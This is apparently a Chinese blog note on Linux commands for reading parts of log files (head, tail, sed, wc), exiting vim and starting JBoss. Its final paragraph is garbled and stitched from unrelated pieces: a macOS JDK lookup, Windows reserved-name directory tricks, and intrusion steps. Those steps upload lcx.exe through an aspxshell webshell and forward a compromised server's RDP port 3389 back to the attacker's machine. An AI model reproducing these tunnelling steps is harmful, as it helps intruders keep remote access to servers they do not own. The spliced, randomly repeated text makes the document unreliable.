最近经常查看服务器上的log文件,有时log文件太大查起来很不方便,看了看网上说可以部分查询,就先记录一下吧
Linux中查看部分文件内容命令head,tail,sed的用法:
Linux中的查看文件内容最常用的cat,less,more和vim我们都已经很熟悉了,但是这些命令都是查看文件的全部内容,如果要查看文件的部分内容可以使用head,tail或sed,下面对这几个命令的用法做一个简单的介绍:
1. 查看文件的前几行,可以使用head命令,如:
head -10 /etc/passwd
2. 查看文件的后几行,可以使用tail命令,如:
tail -10 /etc/passwd
tail -f /var/log/messages
参数-f使tail不停地去读最新的内容,这样有实时监视的效果,当你在ppp拨号的过程中用它岂不是很方便!
3. 查看文件中间一段,你可以使用sed命令,如:
sed -n '5,10p' /etc/passwd
这样你就可以只查看文件的第5行到第10行。
现在处理的数据量很大,打开文件的时间太长,不打开文件,直接用:
wc -l filename
可以数出文件的行数
vim
1.ESC-:-WQ-Enter
2.ESC-:-Q-Enter
3.ESC-:-Q!-Enter
4.ESC-:-!-Enter
------------------------------------------------------------------------------
tail
tail -f /var/log/messages
-------------------------------------------------------------------------------
jboss
1、简单开启服务器的命令:进入到 bin 目录下,输入 ./standalone.sh 命令。
2、让服务器开启后在后台运行:进入到bin目录下,输入 nohup ./standalone.sh & 命令。
3、如果使用第二种开启服务器的方式,关闭服务器就比较麻烦,分为两种:
如果是在本地操作linux常用命令,进入到 bin 目录下,输入:./jboss-admin.sh --connect command=:shutdown 命令
3、在命令行输入/usr/libexec/java_home -v 1.8命令找到jdk安装目录(如我本机的安装目录为:/library/java/javavirtualmachines/jdk1.8.0_112.jdk/contents/home)。再试试输入mdc:aux\命令,可以建立aux目录,输入md c:prn\可以建立prn目录,输入mdc:com1\目录可以建立com1目录,而输入md c:ul\则可以建立一个名为nul的目录。找个可读可写目录上传lcx.exe本地cmd命令:lcx.exe -listen 1988 4567(监听本地1988端口并转发到4567端口)接着shell命令:/cc:\windows\temp\cookies\lcx.exe -slave本机ip 1988 服务器ip 3389(把服务器3389端口转发到本地4567端口)之后本地连接:127.0.0.1:4567 (如果不想加上:4567的话,本地执行命令的时候,把4567换成3389来执行就行了)上是本机外网情况下操作,接着说下在外网服务器里如何操作:上传lxc.exe cmd.exe到服务器且同一目录linux常用命令,执行cmd.exe命令:lcx.exe -listen 1988 4567接着在aspxshell里点击端口映射,远程ip改为站点的ip,远端口程填1988,点击映射端口,接着在服务器里连接127.0.0.1:4567就可以了。